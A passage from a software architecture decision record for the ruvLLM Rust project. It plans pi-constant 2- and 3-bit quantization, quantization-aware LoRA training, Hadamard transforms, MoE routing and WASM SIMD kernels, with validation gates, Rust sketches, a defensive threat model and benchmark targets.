infrastructure\n\n**Scope Control**: MoE memory-aware routing is split to **ADR-092** as it affects scheduling/cache policy, not just representation.\n\n**Acceptance Benchmark**: PiQ3 PTQ must beat uniform 3-bit on at least two quality metrics (MSE, spectral distortion, perplexity, or reasoning retention) before proceeding to LoRA-QAT phase.\n\n---\n\n## Staged Implementation Phases\n\n| Phase | Scope | Duration | Entry Gate | Exit Gate |\n|-------|-------|----------|------------|-----------|\n| **Phase 1: PiQ3 PTQ** | Pi-constant 3-bit post-training quantization | Weeks 1-3 | ADR accepted | PiQ3 beats uniform Q3 on \u22652 metrics |\n| **Phase 2: PiQ3 + LoRA-QAT** | Add quantization-aware LoRA training | Weeks 4-7 | Phase 1 passed | LoRA-QAT converges within memory budget |\n| **Phase 3: PiQ2 + Incoherence** | 2-bit with Hadamard decorrelation | Weeks 8-10 | Phase 2 passed | PiQ2 viable without full QAT |\n| **Phase 4: MoE Routing** | Memory-aware expert routing (ADR-092) | Weeks 11-14 | Quantization baselines proven | See ADR-092 |\n\n**Phase decisions are explicit go/no-go gates.** Failure at any gate triggers rollback evaluation.\n\n---\n\n## Validation Plan: What \"Better\" Means\n\n**Pi-quantization claims superiority over uniform quantization.** This section defines how we validate that claim.\n\n### Quantization Quality Metrics (Phase 1-3)\n\n| Metric | Formula | Target (PiQ3 vs Q3) | Measurement |\n|--------|---------|---------------------|-------------|\n| **MSE** | \u03a3(w - w_q)\u00b2 / n | \u22640.95x uniform Q3 | Per-layer, aggregated |\n| **Spectral Distortion (dB)** | 10 log\u2081\u2080(\u03a3(w - w_q)\u00b2 / \u03a3w\u00b2) | \u2264-0.5 dB vs uniform | FFT of weight matrices |\n| **Cosine Similarity** | (w \u00b7 w_q) / (\\|w\\| \\|w_q\\|) | \u22650.998 (vs \u22650.995 uniform) | Per-layer embeddings |\n| **Outlier Retention** | % of top-1% weights within \u00b11 step | \u226585% (vs \u226470% uniform) | Salient weight analysis |\n\n**Validation rule**: PiQ3 must beat uniform Q3 on **at least 2 of 4 metrics** to proceed to Phase 2.\n\n### Reasoning Preservation Metrics (Phase 2+)\n\n| Metric | Description | Acceptable Delta from FP16 | Failure Threshold |\n|--------|-------------|----------------------------|-------------------|\n| **Perplexity (WikiText-2)** | Language modeling quality | \u2264+20% | >+35% |\n| **GSM8K Accuracy** | Math reasoning | \u2264-15 points | >-25 points |\n| **HumanEval pass@1** | Code generation | \u2264-10 points | >-20 points |\n| **Tool Use Success** | MCP tool invocation | \u2264-5 points | >-15 points |\n| **Long Context (32K\u21928K)** | Needle-in-haystack @ 8K tokens | \u2264-5 points | >-15 points |\n\n**Validation rule**: LoRA-QAT model must pass **all 5 metrics within acceptable delta** before Phase 3.\n\n---\n\n## System Invariants\n\n| Invariant | Rule | Rationale |\n|-----------|------|-----------|\n| **INV-1: STE Gradient Flow** | Gradient passes through quantization via STE; no zero-gradient regions except explicit clipping | Training convergence |\n| **INV-2: Scale Positivity** | Pi-quant scale \u03b1 is always positive (\u03b1 > 0) | Mathematical validity |\n| **INV-3: Step Size Constraint** | Step size = \u03b1 \u00d7 \u03c0 / k where k \u2208 {2, 3, 4, 5} | Pi-constant property |\n| **INV-4: Hadamard Orthogonality** | Hadamard matrix H satisfies H \u00d7 H^T = n \u00d7 I | Invertibility |\n| **INV-5: Calibration Provenance** | Calibration artifacts include dataset hash, sample count, timestamp | Reproducibility |\n| **INV-6: Teacher Immutability** | Teacher model weights are frozen during distillation | Stable supervision |\n| **INV-7: GGUF Format Compliance** | PiQ3/PiQ2 use reserved type IDs (40, 41) with proper metadata | Interoperability |\n| **INV-8: Scalar Reference** | Every SIMD kernel has scalar reference with bounded equivalence (\u22641 ULP) | Kernel correctness |\n\n---\n\n## Acceptance Gates\n\n| Gate | Phase | Entry Criteria | Exit Criteria | Rollback Trigger |\n|------|-------|----------------|---------------|------------------|\n| **G1: PiQ3 PTQ Quality** | 1\u21922 | ADR accepted | PiQ3 beats uniform Q3 on \u22652/4 quality metrics | PiQ3 fails all 4 metrics |\n| **G2: LoRA-QAT Convergence** | 2\u21923 | Phase 1 passed | Training loss converges, memory \u22642 GB, all 5 reasoning metrics pass | Non-convergence after 10 epochs or OOM |\n| **G3: PiQ2 Viability** | 3\u21924 | Phase 2 passed | PiQ2 + incoherence achieves acceptable quality without full QAT | PiQ2 requires full QAT (scope explosion) |\n| **G4: Benchmark Regression** | Any | Any code change | Existing Q4_K_M / BitNet benchmarks show <5% regression | >5% regression on any existing benchmark |\n| **G5: Security Validation** | Pre-merge | All code complete | Zero unsafe without bounds assertion, SHA-256 checksums functional | Any unvalidated unsafe block |\n| **G6: WASM Build** | Pre-release | All code complete | wasm-pack build succeeds, binary <+50 KB delta, in-browser tests pass | Build failure or >100 KB delta |\n\n### Rollback Conditions\n\n| Condition | Detection | Action |\n|-----------|-----------|--------|\n| **PiQ3 \u2264 Uniform** | Gate G1 fails | Investigate step size tuning; if still fails, de-scope to research paper only |\n| **LoRA-QAT OOM** | Training crashes | Reduce rank from 16\u21928\u21924; if still OOM, defer to GPU cluster |\n| **Reasoning collapse** | >25 point GSM8K drop | Increase distillation weight \u03bb_KD; if still fails, revert to PTQ-only |\n| **SIMD kernel divergence** | >1 ULP vs scalar | Fix kernel bug; block merge until resolved |\n| **Benchmark regression** | CI benchmark alerts | Bisect and fix; block merge until resolved |\n\n---\n\n## 1. Context and Problem Statement\n\n### 1.1 Current State\n\nruvLLM implements multiple quantization approaches for post-training quantization (PTQ):\n\n| Module | Path | Capability | Bits |\n|--------|------|-----------|------|\n| K-quants | `crates/ruvllm/src/quantize/ruvltra_quant.rs` | Q4_K_M, Q5_K_M, Q8_0 | 4.5-8.5 |\n| BitNet b1.58 | `crates/ruvllm/src/bitnet/` (17 files) | Ternary {-1,0,+1} | 2.06 |\n| GGUF types | `crates/ruvllm/src/gguf/quantization.rs` | 30+ formats incl. IQ1_S-IQ4_NL | 1.56-8.5 |\n| KV cache | `crates/ruvllm/src/kv_cache.rs` | Two-tier FP16 tail + Q4 store | 4-16 |\n| MoE cache | `crates/ruvllm/src/bitnet/expert_cache.rs` | LRU/LFU/ARC expert eviction | N/A |\n\n### 1.2 Problem\n\n1. **No quantization-aware training (QAT)**: All quantization is post-training. ICLR'26 shows QAT preserves ~90% reasoning at 2-bit vs ~40% for PTQ \u2014 a 30-point gap on GSM8K.\n\n2. **Uniform quantization grids only**: Current K-quant and BitNet use evenly-spaced levels. Non-uniform grids (pi-constant, NormalFloat) can gain ~0.5 effective bits of precision.\n\n3. **No incoherence processing**: QuIP-style Hadamard rotations decorrelate weights before quantization, making 2-bit viable without QAT. Not implemented.\n\n4. **WASM quantization kernels incomplete**: `tl1_wasm.rs` handles ternary SIMD but no 2-bit/3-bit dequantization kernels exist for browser deployment.\n\n5. **MoE routing ignores memory**: Standard top-K routing causes cache thrashing on edge devices. Memory-aware routing could improve throughput 54% with <1% accuracy loss.\n\n### 1.3 Research Foundation\n\nThis ADR implements findings from `docs/research/quantization-edge/`:\n\n| Document | Key Finding |\n|----------|-------------|\n| 01 - Survey | 2-bit QAT retains 90% reasoning; 6 viable methods exist |\n| 02 - QAT | Two-stage calibration + teacher distillation is state-of-art |\n| 03 - QuIP | Hadamard incoherence makes 2-bit PTQ viable (O(n log n)) |\n| 04 - MoE | Memory-aware routing: +54% throughput, -0.5% accuracy |\n| 05 - Architecture | Gap analysis: QAT loop + STE + differentiable quant missing |\n| 06 - Implementation | 14-week Rust implementation plan with success criteria |\n| 07 - Pi-Quant | Pi-constant scaling: ~0.5 bit gain, reduced spectral distortion |\n\n### 1.4 Strategic Goal\n\nDeliver 2-bit and 3-bit quantized inference with reasoning preservation for:\n- **Edge devices**: ESP32-P4 (8 MB PSRAM), Raspberry Pi 5 (4 GB)\n- **Mobile**: 2-3 GB available RAM\n- **Browser**: WASM with SIMD128 acceleration\n- **Server**: Reduced memory for higher batch sizes\n\nTarget: 0.5B model in <130 MB with >85% of FP16 reasoning quality.\n\n---\n\n## 2. Domain Analysis \u2014 Bounded Contexts\n\n### 2.1 Strategic Domain Design\n\n```\n+====================================================================+\n| ULTRA-LOW-BIT QUANTIZATION SYSTEM (ADR-090) |\n+====================================================================+\n| |\n| +------------------+ +-------------------+ +----------------+ |\n| | Quantization | | Training | | MoE Routing | |\n| | Core Domain |--->| Domain | | Domain | |\n| | | | | | | |\n| | - Pi-Quant | | - QAT Loop | | - Memory-Aware | |\n| | - Incoherence | | - Calibration | | - Expert Page | |\n| | - STE Ops | | - Distillation | | - Mixed Prec. | |\n| | - Block Codecs | | - LoRA-QAT | | - SRAM Map | |\n| +--------+---------+ +--------+----------+ +-------+--------+ |\n| | | | |\n| v v v |\n| +------------------+ +-------------------+ |\n| | WASM Runtime | | Observability | |\n| | Domain | | Domain | |\n| | | | | |\n| | - SIMD Kernels | | - Benchmarks | |\n| | - Memory Mgmt | | - Security Valid. | |\n| | - Browser API | | - Quality Metrics | |\n| | - Web Workers | | - Profiling | |\n| +------------------+ +-------------------+ |\n| |\n+====================================================================+\n```\n\n### 2.2 Bounded Context: Quantization Core Domain\n\n**Responsibility**: Quantization primitives, format codecs, mathematical transforms.\n\n**Aggregate Roots**:\n- `PiQuantizer` \u2014 Pi-constant quantization with learnable scale\n- `IncoherenceTransform` \u2014 Hadamard rotation for weight decorrelation\n- `DifferentiableQuantOp` \u2014 Forward/backward through quantization with STE\n\n**Value Objects**:\n- `QuantGrid` \u2014 Quantization level set (uniform, pi-scaled, NormalFloat, learned)\n- `BlockCodec` \u2014 Packed storage for 2-bit/3-bit blocks\n- `QuantStats` \u2014 Per-layer quantization error statistics\n\n**Domain Events**:\n- `WeightsQuantized { layer, format, mse, spectral_distortion }`\n- `IncoherenceApplied { layer, transform_type, mu_before, mu_after }`\n- `GridOptimized { layer, centroids, improvement_pct }`\n\n**Integration with existing code**:\n\n| Existing File | Integration |\n|---------------|-------------|\n| `quantize/ruvltra_quant.rs` | Extend `TargetFormat` enum with `PiQ3`, `PiQ2`, `Q2_QuIP` |\n| `quantize/mod.rs` | Re-export new modules |\n| `bitnet/ternary_tensor.rs` | Reuse 2-bit packing for Pi-Q2 |\n| `gguf/quantization.rs` | Register `PiQ3 = 40`, `PiQ2 = 41` types |\n\n**New files**:\n\n```\ncrates/ruvllm/src/quantize/\n pi_quant.rs # Pi-constant quantization core\n pi_quant_simd.rs # NEON/AVX2 kernels for pi-quant\n incoherence.rs # Hadamard rotation transforms\n hadamard.rs # Fast Walsh-Hadamard O(n log n)\n importance.rs # Fisher information / sensitivity\n iq_quant.rs # I-quant lattice quantization\n```\n\n### 2.3 Bounded Context: Training Domain\n\n**Responsibility**: QAT training loop, calibration, distillation, LoRA-QAT.\n\n**Aggregate Roots**:\n- `QatTrainer` \u2014 Orchestrates the full QAT pipeline\n- `CalibrationEngine` \u2014 Mixed-domain calibration for grid initialization\n- `DistillationLoss` \u2014 Teacher-student composite loss computation\n\n**Value Objects**:\n- `QatConfig` \u2014 Training hyperparameters (bits, STE variant, loss weights)\n- `SteGradient` \u2014 Gradient through quantization (Standard, Clipped, LSQ, EWGS)\n- `CalibrationResult` \u2014 Per-layer scales, centroids, Fisher information\n\n**Domain Events**:\n- `CalibrationComplete { layers, domains, total_samples }`\n- `QatEpochComplete { epoch, loss, ppl, reasoning_score }`\n- `LoraQatConverged { adapter_rank, delta_quality }`\n\n**Integration with existing code**:\n\n| Existing File | Integration |\n|---------------|-------------|\n| `training/real_trainer.rs` | Add `QatMode` to training loop |\n| `training/contrastive.rs` | Reuse hard negative mining for calibration |\n| `training/grpo.rs` | Support quantized policy model |\n| `lora/micro_lora.rs` | Add `AdapterMode::Qat` variant |\n| `lora/training.rs` | LoRA-QAT gradient computation |\n| `sona/integration.rs` | Tier 2: quantization scale adaptation |\n| `sona/ruvltra_pretrain.rs` | QAT pretraining config for RuvLTRA-Small |\n| `training/tool_dataset.rs` | Calibration data source (tool use domain) |\n| `training/claude_dataset.rs` | Calibration data source (reasoning domain) |\n\n**New files**:\n\n```\ncrates/ruvllm/src/qat/\n mod.rs # Public API\n config.rs # QatConfig, SteVariant, QuantGranularity\n ste.rs # Straight-through estimator implementations\n differentiable_quant.rs # DifferentiableQuantizer trait + impls\n calibration.rs # Mixed-domain calibration pipeline\n distillation.rs # Teacher-student loss (L_task + L_KD + L_reasoning)\n reasoning_loss.rs # Chain-of-thought fidelity loss\n training_loop.rs # Main QAT training orchestrator\n lora_qat.rs # LoRA-QAT lightweight variant\n```\n\n### 2.4 Bounded Context: MoE Routing Domain\n\n**Responsibility**: Memory-aware expert selection, paging, mixed precision.\n\n**Aggregate Roots**:\n- `MemoryAwareRouter` \u2014 Expert selection with cache residency bonus\n- `ExpertPrecisionAllocator` \u2014 Per-expert bit-width assignment\n- `SramMapper` \u2014 Hardware memory hierarchy configuration\n\n**Value Objects**:\n- `ExpertPreference` \u2014 EMA-based long-term usage tracking\n- `CacheResidencyState` \u2014 Hot/cold expert classification\n- `PrecisionMap` \u2014 Expert ID to quantization format mapping\n\n**Domain Events**:\n- `ExpertPaged { expert_id, direction: In|Out, latency_us }`\n- `PrecisionRebalanced { expert_id, old_bits, new_bits, reason }`\n- `CacheHitRateChanged { old_rate, new_rate }`\n\n**Integration with existing code**:\n\n| Existing File | Integration |\n|---------------|-------------|\n| `bitnet/expert_cache.rs` | Extend `ExpertCache` with memory-aware routing |\n| `bitnet/expert_cache.rs` | Extend `MoeBatchScheduler` with precision hints |\n| `backends/mistral_backend.rs` | Mixtral model MoE routing hook |\n\n**New files**:\n\n```\ncrates/ruvllm/src/moe/\n mod.rs # Public API\n router.rs # MemoryAwareRouter with cache bonus\n expert_manager.rs # Expert lifecycle + async paging\n precision_allocator.rs # Frequency-based precision assignment\n sram_mapper.rs # Platform-specific memory hierarchy config\n```\n\n### 2.5 Bounded Context: WASM Runtime Domain\n\n**Responsibility**: Browser-compatible quantization, SIMD kernels, JS API.\n\n**Aggregate Roots**:\n- `PiQuantWasm` \u2014 Browser-side pi-quantization with WASM SIMD\n- `QuantBenchWasm` \u2014 In-browser benchmarking for quantized models\n- `QatConfigWasm` \u2014 Configuration for browser-based QAT (LoRA only)\n\n**Value Objects**:\n- `WasmSimdKernel` \u2014 Abstraction over WASM SIMD128 operations\n- `QuantizedTensorWasm` \u2014 JS-accessible quantized weight storage\n- `MemoryBudgetWasm` \u2014 Browser memory constraint configuration\n\n**Integration with existing code**:\n\n| Existing File | Integration |\n|---------------|-------------|\n| `crates/ruvllm-wasm/src/bindings.rs` | Add PiQuantWasm, QatConfigWasm exports |\n| `crates/ruvllm-wasm/src/hnsw_router.rs` | Route quantization config by embedding similarity |\n| `crates/ruvllm-wasm/src/micro_lora.rs` | LoRA-QAT mode for browser adaptation |\n| `crates/ruvllm-wasm/src/sona_instant.rs` | Quality signal for dynamic precision |\n| `crates/ruvllm/src/bitnet/tl1_wasm.rs` | Reuse LUT-based SIMD128 pattern |\n\n**New files**:\n\n```\ncrates/ruvllm-wasm/src/\n pi_quant_wasm.rs # Pi-quantization WASM bindings\n quant_bench_wasm.rs # In-browser quantization benchmarks\n\ncrates/ruvllm/src/quantize/\n pi_quant_wasm_simd.rs # WASM SIMD128 kernels for pi-quant\n```\n\n**WASM binding pattern** (from existing codebase):\n\n```rust\n#[wasm_bindgen]\npub struct PiQuantWasm {\n #[wasm_bindgen(skip)]\n inner: PiQuantConfig,\n}\n\n#[wasm_bindgen]\nimpl PiQuantWasm {\n #[wasm_bindgen(constructor)]\n pub fn new(bits: u8, k: u8) -> Self { ... }\n\n #[wasm_bindgen(getter, js_name = bitsPerWeight)]\n pub fn bits_per_weight(&self) -> f32 { ... }\n\n pub fn quantize(&self, weights: &[f32]) -> Vec<u8> { ... }\n pub fn dequantize(&self, packed: &[u8]) -> Vec<f32> { ... }\n\n #[wasm_bindgen(js_name = toJson)]\n pub fn to_json(&self) -> Result<String, JsValue> { ... }\n\n #[wasm_bindgen(js_name = fromJson)]\n pub fn from_json(json: &str) -> Result<PiQuantWasm, JsValue> { ... }\n}\n```\n\n### 2.6 Bounded Context: Observability Domain\n\n**Responsibility**: Benchmarking, security validation, quality metrics, profiling.\n\n**Aggregate Roots**:\n- `QuantBenchSuite` \u2014 Criterion-based benchmark collection\n- `SecurityValidator` \u2014 Weight integrity and bounds verification\n- `QualityMonitor` \u2014 Runtime quality tracking with SONA integration\n\n**Value Objects**:\n- `BenchmarkResult` \u2014 Throughput, latency, memory, quality metrics\n- `SecurityReport` \u2014 Validation results with severity levels\n- `QualitySnapshot` \u2014 Per-layer quality scores at current precision\n\n---\n\n## 3. Decision: Architecture\n\n### 3.1 Core Design Principles\n\n| Principle | Rationale |\n|-----------|-----------|\n| **Extend, don't replace** | Add to `TargetFormat` enum, don't create parallel types |\n| **Reuse SIMD patterns** | `tl1_wasm.rs` LUT approach works for multi-bit formats |\n| **LoRA-QAT first** | 50 MB memory vs 114 GB for full QAT on 7B model |\n| **Pi-quant as preprocessor** | Can layer on top of existing K-quant pipeline |\n| **Domain events for cross-cutting** | Decouple domains via event bus |\n\n### 3.2 Module Dependency Graph\n\n```\nquantize/pi_quant.rs ----+\n |\nquantize/incoherence.rs +---> qat/training_loop.rs ---> sona/integration.rs\n | |\nquantize/hadamard.rs ----+ qat/distillation.rs\n |\nbitnet/ ---> qat/lora_qat.rs ------+\n |\n qat/calibration.rs ---> training/tool_dataset.rs\n \\-> training/claude_dataset.rs\n\nmoe/router.rs ---> bitnet/expert_cache.rs\nmoe/precision_allocator.rs ---> quantize/pi_quant.rs\n\nruvllm-wasm/pi_quant_wasm.rs ---> quantize/pi_quant.rs\nruvllm-wasm/bindings.rs ---> (all WASM exports)\n```\n\n### 3.3 TargetFormat Extension\n\n```rust\n// In quantize/ruvltra_quant.rs \u2014 extend existing enum\npub enum TargetFormat {\n // Existing\n Q4_K_M,\n Q5_K_M,\n Q8_0,\n F16,\n // NEW: Pi-constant formats\n PiQ3, // 3-bit pi-scaled (pi/4 step, 3.06 bits/weight with scale)\n PiQ2, // 2-bit pi-scaled (pi/3 step, 2.06 bits/weight with scale)\n // NEW: QuIP-enhanced\n Q2_QuIP, // 2-bit K-quant with Hadamard incoherence\n}\n\nimpl TargetFormat {\n pub fn bits_per_weight(&self) -> f32 {\n match self {\n // ... existing ...\n TargetFormat::PiQ3 => 3.0625, // 3 bits + scale overhead\n TargetFormat::PiQ2 => 2.0625, // 2 bits + scale overhead\n TargetFormat::Q2_QuIP => 2.5625, // Q2_K + Hadamard metadata\n }\n }\n}\n```\n\n### 3.4 QAT Training Loop Architecture\n\n```rust\n// In qat/training_loop.rs\n\npub struct QatTrainer {\n /// Quantization format for forward pass\n quant_op: Box<dyn DifferentiableQuantizer>,\n /// Optional teacher for distillation\n teacher: Option<Box<dyn TeacherModel>>,\n /// Calibration result (per-layer quant params)\n calibration: CalibrationResult,\n /// Training config\n config: QatConfig,\n}\n\nimpl QatTrainer {\n /// Full QAT pipeline: calibrate -> train -> export\n pub async fn run(\n &mut self,\n model: &mut RuvLLMModel,\n dataset: &dyn QatDataset,\n ) -> Result<QatResult> {\n // Phase 1: Mixed-domain calibration\n let cal = self.calibrate(model, dataset)?;\n\n // Phase 2: Initialize quantization grids\n model.apply_quant_params(&cal)?;\n\n // Phase 3: Training epochs with STE\n for epoch in 0..self.config.epochs {\n let metrics = self.train_epoch(model, dataset, epoch)?;\n // Domain event: QatEpochComplete\n }\n\n // Phase 4: Export quantized model\n self.export(model)\n }\n}\n```\n\n### 3.5 Pi-Quantization Core\n\n```rust\n// In quantize/pi_quant.rs\nuse std::f32::consts::PI;\n\n/// Pi-constant quantization: w_q = round(w / (alpha * pi / k)) * (alpha * pi / k)\npub struct PiQuantizer {\n pub bits: u8,\n pub k: u8,\n pub alpha: Vec<f32>, // per-channel learnable scale\n}\n\nimpl PiQuantizer {\n #[inline(always)]\n pub fn quantize_scalar(&self, w: f32, channel: usize) -> (i8, f32) {\n let step = self.alpha[channel] * PI / (self.k as f32);\n let half = (1i8 << self.bits) / 2;\n let q = (w / step).round() as i8;\n let q_clamped = q.clamp(-half, half - 1);\n (q_clamped, q_clamped as f32 * step)\n }\n\n pub fn quantize_block(&self, weights: &[f32], channel: usize) -> Pi3BitBlock {\n // Pack 8 weights into 3 bytes (for 3-bit) or 4 weights into 1 byte (for 2-bit)\n // Uses pi/k as step size instead of uniform grid\n // ...\n }\n}\n```\n\n### 3.6 Hadamard Incoherence Transform\n\n```rust\n// In quantize/hadamard.rs\n\n/// Fast Walsh-Hadamard transform: O(n log n)\n/// Decorrelates weight matrices before quantization\npub struct HadamardTransform {\n log_dim: u32,\n signs: Vec<i8>, // random +/-1 for randomized variant\n}\n\nimpl HadamardTransform {\n /// In-place butterfly: x[j], x[j+h] = x[j]+x[j+h], x[j]-x[j+h]\n pub fn forward_inplace(&self, data: &mut [f32]) {\n let n = 1usize << self.log_dim;\n // Apply random sign flips\n for (x, &s) in data.iter_mut().zip(self.signs.iter()) {\n *x *= s as f32;\n }\n // Walsh-Hadamard butterfly\n let mut h = 1;\n while h < n {\n for i in (0..n).step_by(h * 2) {\n for j in i..i + h {\n let a = data[j];\n let b = data[j + h];\n data[j] = a + b;\n data[j + h] = a - b;\n }\n }\n h *= 2;\n }\n let norm = (n as f32).sqrt();\n data.iter_mut().for_each(|x| *x /= norm);\n }\n}\n```\n\n### 3.7 Straight-Through Estimator\n\n```rust\n// In qat/ste.rs\n\npub enum SteVariant {\n /// dw = dq (identity, gradient passes through)\n Standard,\n /// dw = dq * 1{|w| <= clip}, zero outside range\n Clipped { clip_val: f32 },\n /// Scale is learned: ds/dalpha computed alongside dw\n LearnedStepSize,\n /// dw = dq * (1 + lambda * |w - q|), stronger push toward stable points\n Ewgs { lambda: f32 },\n}\n\nimpl SteVariant {\n pub fn backward(\n &self,\n w: f32, // latent weight\n q: f32, // quantized weight\n grad_out: f32, // upstream gradient\n ) -> f32 {\n match self {\n Self::Standard => grad_out,\n Self::Clipped { clip_val } => {\n if w.abs() <= *clip_val { grad_out } else { 0.0 }\n }\n Self::Ewgs { lambda } => {\n grad_out * (1.0 + lambda * (w - q).abs())\n }\n Self::LearnedStepSize => grad_out, // scale grad computed separately\n }\n }\n}\n```\n\n---\n\n## 4. Security\n\n### 4.1 Threat Model\n\n| Threat | Vector | Severity | Mitigation |\n|--------|--------|----------|------------|\n| Weight tampering | Modified GGUF on disk | Critical | SHA-256 checksum in GGUF metadata |\n| Quantization overflow | Crafted input weights | High | Clamp + assert (existing pattern from `kv_cache.rs`) |\n| WASM memory escape | Malicious WASM module | High | Linear memory sandbox (wasm-bindgen default) |\n| Adversarial calibration | Poisoned calibration data | Medium | Distribution validation + outlier detection |\n| Model extraction | WASM binary inspection | Low | Acceptable risk for edge deployment |\n\n### 4.2 Weight Integrity Validation\n\n```rust\n// In new: quantize/security.rs\n\npub struct WeightIntegrity {\n /// SHA-256 of original FP32 weights\n pub original_hash: [u8; 32],\n /// SHA-256 of quantized weights\n pub quantized_hash: [u8; 32],\n /// Maximum per-layer quantization error\n pub max_layer_mse: f32,\n /// Quantization config used\n pub config_hash: [u8; 32],\n}\n\n/// Validate quantized model integrity\npub fn validate_quantized_model(\n path: &Path,\n expected: &WeightIntegrity,\n) -> Result<ValidationReport> {\n // 1. Verify GGUF magic bytes and version\n // 2. Compute SHA-256 of weight data\n // 3. Compare against expected hash\n // 4. Verify per-layer MSE within bounds\n // 5. Check quantization config matches\n}\n```\n\n### 4.3 Quantization Bounds Enforcement\n\nReuse existing validation patterns from the codebase:\n\n```rust\n// Pattern from kv_cache.rs and ruvltra_quant.rs:\nassert!(new_len <= self.capacity, \"bounds check: {} > {}\", new_len, self.capacity);\n\n// Applied to pi-quantization:\nlet q = (w / step).round() as i8;\nlet q_clamped = q.clamp(-half_range, half_range - 1); // ALWAYS clamp\ndebug_assert!(\n q_clamped >= -half_range && q_clamped < half_range,\n \"quantization overflow: q={}, range=[{}, {})\", q, -half_range, half_range - 1\n);\n```\n\n### 4.4 GGUF Format Validation\n\n```rust\n/// Validate GGUF file before loading quantized weights\npub fn validate_gguf_security(path: &Path) -> Result<GgufSecurityReport> {\n // 1. Magic bytes: must be 0x46475547 (\"GGUF\")\n // 2. Version: must be 2 or 3\n // 3. Tensor count: sanity check (< 10000)\n // 4. Metadata size: sanity check (< 100 MB)\n // 5. Quantization types: only known types allowed\n // 6. Tensor dimensions: within reasonable bounds\n // 7. File size: matches sum of tensor sizes\n}\n```\n\n### 4.5 WASM Sandbox Security\n\n- WASM linear memory is isolated by default (wasm-bindgen)\n- No filesystem access from browser context\n- Memory budget enforced via `MemoryBudgetWasm` (configurable cap)\n- Serialization uses `serde_json` with size limits\n\n---\n\n## 5. Benchmarking\n\n### 5.1 Benchmark Suite Extension\n\nExtend existing `crates/ruvllm/benches/` with new benchmark groups:\n\n```rust\n// New: benches/pi_quant_bench.rs\nuse criterion::{black_box, criterion_group, criterion_main, Criterion, BenchmarkId};\n\nfn bench_pi_quantize(c: &mut Criterion) {\n let mut group = c.benchmark_group(\"pi-quantization\");\n\n for &size in &[256, 4096, 4096 * 11008] {\n let weights: Vec<f32> = (0..size).map(|i| (i as f32 * 0.001).sin()).collect();\n let config = PiQuantConfig { bits: 3, k: 4, alpha: vec![1.0], .. };\n\n group.bench_with_input(\n BenchmarkId::new(\"pi-q3\", size),\n &weights,\n |b, w| b.iter(|| pi_quantize_tensor(black_box(w), &config)),\n );\n }\n group.finish();\n}\n\nfn bench_pi_dequantize_simd(c: &mut Criterion) {\n // NEON vs scalar dequantization\n}\n\nfn bench_hadamard_transform(c: &mut Criterion) {\n // Fast Walsh-Hadamard at various dimensions\n}\n\nfn bench_qat_forward_backward(c: &mut Criterion) {\n // Single QAT step: forward (quantized) + backward (STE)\n}\n\ncriterion_group!(\n pi_quant_benches,\n bench_pi_quantize,\n bench_pi_dequantize_simd,\n bench_hadamard_transform,\n bench_qat_forward_backward,\n);\ncriterion_main!(pi_quant_benches);\n```\n\n### 5.2 Benchmark Targets\n\n| Benchmark | Metric | Target | Baseline |\n|-----------|--------|--------|----------|\n| Pi-Q3 quantize (4096 weights) | Throughput | >1 GB/s | N/A (new) |\n| Pi-Q3 dequantize NEON (4096) | Throughput | >10 GB/s | Q4_K_M: ~16 GB/s |\n| Pi-Q3 dequantize WASM (4096) | Throughput | >2 GB/s | BitNet WASM: ~3 GB/s |\n| Hadamard 4096-dim | Latency | <50 us | N/A (new) |\n| QAT forward+backward (0.5B) | Step time | <500 ms | Standard train: ~200 ms |\n| KV cache Q2 dequant | Throughput | >8 GB/s | Q4: ~16 GB/s |\n| MoE routing (16 experts) | Latency | <10 us | Standard: ~5 us |\n| Memory-aware MoE cache hit | Rate | >70% | Standard: ~34% |\n\n### 5.3 Quality Benchmarks\n\n```\nEvaluation harness (extend evaluation/real_harness.rs):\n\nModel: RuvLTRA-Small 0.5B\nDatasets: WikiText-2, GSM8K, HumanEval, MCP Tool Use\n\nConfigs to benchmark:\n FP16 (baseline)\n Q4_K_M (current best)\n Q2_K (current 2-bit)\n BitNet 1.58 (current ternary)\n Pi-Q3 (PTQ) (new, no training)\n Pi-Q3 + QAT (new, with training)\n Pi-Q2 (PTQ) (new, no training)\n Pi-Q2 + QAT (new, with training)\n Q2_QuIP (new, incoherence)\n Q2_QuIP + QAT (new, combined)\n```\n\n### 5.4 Regression Detection\n\n```toml\n# In benches/Cargo.toml or criterion config\n[profile.bench]\n# Alert if throughput drops >5% from baseline\n[[bench]]\nname = \"pi_quant_bench\"\nharness = false\n\n# Stored baselines in benches/baselines/\n# cargo bench --save-baseline v0.1\n# cargo bench --baseline v0.1 (compare against saved)\n```\n\n---\n\n## 6. Optimization\n\n### 6.1 SIMD Kernel Strategy\n\n| Platform | ISA | Width | Key Ops | Priority |\n|----------|-----|-------|---------|----------|\n| Apple M4 | NEON | 128-bit (4xf32) | vaddq_f32, vmulq_f32, vcvtq_f32_s32 | P0 |\n| x86_64 | AVX2 | 256-bit (8xf32) | _mm256_add_ps, _mm256_mul_ps | P1 |\n| WASM | SIMD128 | 128-bit (4xf32) | f32x4_add, f32x4_mul, i8x16_swizzle | P0 |\n| Fallback | Scalar | 1xf32 | Standard Rust | P0 |\n\n### 6.2 NEON Kernel: Pi-Quant Dequantize\n\n```rust\n#[cfg(target_arch = \"aarch64\")]\npub unsafe fn pi_dequantize_neon(\n packed: &[u8], // 3-bit packed data\n scale: f32, // alpha * pi / k\n output: &mut [f32],\n) {\n use std::arch::aarch64::*;\n let scale_v = vdupq_n_f32(scale);\n\n // Process 8 values at a time (two NEON registers)\n for chunk_idx in 0..output.len() / 8 {\n let values = unpack_3bit_8(&packed[chunk_idx * 3..]);\n // Convert i8 -> i32 -> f32 -> scaled f32\n let lo = vcvtq_f32_s32(vmovl_s16(vget_low_s16(vmovl_s8(vld1_s8(values.as_ptr())))));\n let hi = vcvtq_f32_s32(vmovl_s16(vget_high_s16(vmovl_s8(vld1_s8(values.as_ptr())))));\n vst1q_f32(output.as_mut_ptr().add(chunk_idx * 8), vmulq_f32(lo, scale_v));\n vst1q_f32(output.as_mut_ptr().add(chunk_idx * 8 + 4), vmulq_f32(hi, scale_v));\n }\n}\n```\n\n### 6.3 WASM SIMD128 Kernel: Reuse TL1 Pattern\n\nFrom `bitnet/tl1_wasm.rs`, the LUT-based approach generalizes to multi-bit:\n\n```rust\n#[cfg(target_arch = \"wasm32\")]\npub fn pi_dequant_wasm_simd(\n packed: &[u8],\n scale: f32,\n output: &mut [f32],\n) {\n use core::arch::wasm32::*;\n\n let scale_v = f32x4_splat(scale);\n\n // For 3-bit: use LUT with 8 entries instead of BitNet's 4\n // Swizzle decodes packed bits to signed integers\n // Same i8x16_swizzle pattern as tl1_wasm.rs\n 